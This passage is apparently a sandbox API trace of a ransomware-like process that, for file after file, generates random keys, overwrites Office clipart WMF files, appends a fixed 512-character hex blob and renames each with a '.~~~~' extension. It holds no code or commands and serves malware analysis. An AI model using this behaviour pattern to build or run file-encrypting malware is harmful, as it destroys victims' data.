	[0118.180] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x9b0, lpOverlapped=0x0) returned 1
	[0118.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0118.181] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.182] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.182] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.182] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.182] CloseHandle (hObject=0x148) returned 1
	[0118.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0118.182] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf.~~~~")) returned 1
	[0118.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0118.183] GetLastError () returned 0x0
	[0118.184] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0118.185] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.185] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0118.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0118.185] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23817552375) returned 1
	[0118.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafeef850, dwHighDateTime=0x1d60e1e)) 
	[0118.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0118.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0118.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0118.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9338
	[0118.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9338 | out: hHeap=0x300000) returned 1
	[0118.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0118.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3568
	[0118.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.186] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0118.186] GetLastError () returned 0x0
	[0118.187] GetLastError () returned 0x0
	[0118.187] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0118.187] GetLastError () returned 0x0
	[0118.187] GetLastError () returned 0x0
	[0118.249] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff876, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.249] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x78a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x78a, lpOverlapped=0x0) returned 1
	[0118.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0118.250] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.250] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.250] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.250] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.251] CloseHandle (hObject=0x148) returned 1
	[0118.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0118.251] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf.~~~~")) returned 1
	[0118.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0118.252] GetLastError () returned 0x0
	[0118.257] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0118.258] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.258] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0118.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0118.259] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23824873069) returned 1
	[0118.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaffadf30, dwHighDateTime=0x1d60e1e)) 
	[0118.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0118.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0118.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0118.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9418
	[0118.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9418 | out: hHeap=0x300000) returned 1
	[0118.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6b20
	[0118.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3730
	[0118.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6b20 | out: hHeap=0x300000) returned 1
	[0118.259] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0118.260] GetLastError () returned 0x0
	[0118.260] GetLastError () returned 0x0
	[0118.260] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0118.260] GetLastError () returned 0x0
	[0118.260] GetLastError () returned 0x0
	[0118.504] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff318, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.504] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xce8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0xce8, lpOverlapped=0x0) returned 1
	[0118.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0118.508] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.508] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.509] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.509] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.509] CloseHandle (hObject=0x13c) returned 1
	[0118.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0118.509] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf.~~~~")) returned 1
	[0118.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0118.752] GetLastError () returned 0x0
	[0118.752] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0118.753] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.753] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0118.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0118.753] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23874325971) returned 1
	[0118.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb044a9d0, dwHighDateTime=0x1d60e1e)) 
	[0118.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0118.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0118.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0118.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9530
	[0118.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9530 | out: hHeap=0x300000) returned 1
	[0118.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0118.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3990
	[0118.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.754] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0118.754] GetLastError () returned 0x0
	[0118.754] GetLastError () returned 0x0
	[0118.754] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0118.754] GetLastError () returned 0x0
	[0118.754] GetLastError () returned 0x0
	[0119.284] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffdbc4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.285] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x243c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x243c, lpOverlapped=0x0) returned 1
	[0119.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0119.286] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.286] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.287] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.287] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.287] CloseHandle (hObject=0x13c) returned 1
	[0119.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0119.287] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf.~~~~")) returned 1
	[0119.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0119.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0119.548] GetLastError () returned 0x0
	[0119.548] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942538) returned 1
	[0119.550] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.550] CryptReleaseContext (hProv=0x2942538, dwFlags=0x0) returned 1
	[0119.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0119.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0119.550] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23954008500) returned 1
	[0119.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb0bbae90, dwHighDateTime=0x1d60e1e)) 
	[0119.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0119.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0119.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0119.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e96f0
	[0119.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e96f0 | out: hHeap=0x300000) returned 1
	[0119.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0119.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3bf0
	[0119.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0119.551] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0119.551] GetLastError () returned 0x0
	[0119.551] GetLastError () returned 0x0
	[0119.552] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0119.552] GetLastError () returned 0x0
	[0119.552] GetLastError () returned 0x0
	[0119.557] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff08c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.557] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xf74, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0xf74, lpOverlapped=0x0) returned 1
	[0119.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0119.559] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.559] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.559] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.559] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.559] CloseHandle (hObject=0x13c) returned 1
	[0119.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f7060
	[0119.560] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf.~~~~")) returned 1
	[0119.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7060 | out: hHeap=0x300000) returned 1
	[0119.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0119.561] GetLastError () returned 0x0
	[0119.562] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942538) returned 1
	[0119.563] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.563] CryptReleaseContext (hProv=0x2942538, dwFlags=0x0) returned 1
	[0119.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0119.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0119.563] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23955331886) returned 1
	[0119.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb0be0ff0, dwHighDateTime=0x1d60e1e)) 
	[0119.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0119.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0119.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0119.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9728
	[0119.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9728 | out: hHeap=0x300000) returned 1
	[0119.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f7060
	[0119.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b40b0
	[0119.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7060 | out: hHeap=0x300000) returned 1
	[0119.564] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0119.564] GetLastError () returned 0x0
	[0119.566] GetLastError () returned 0x0
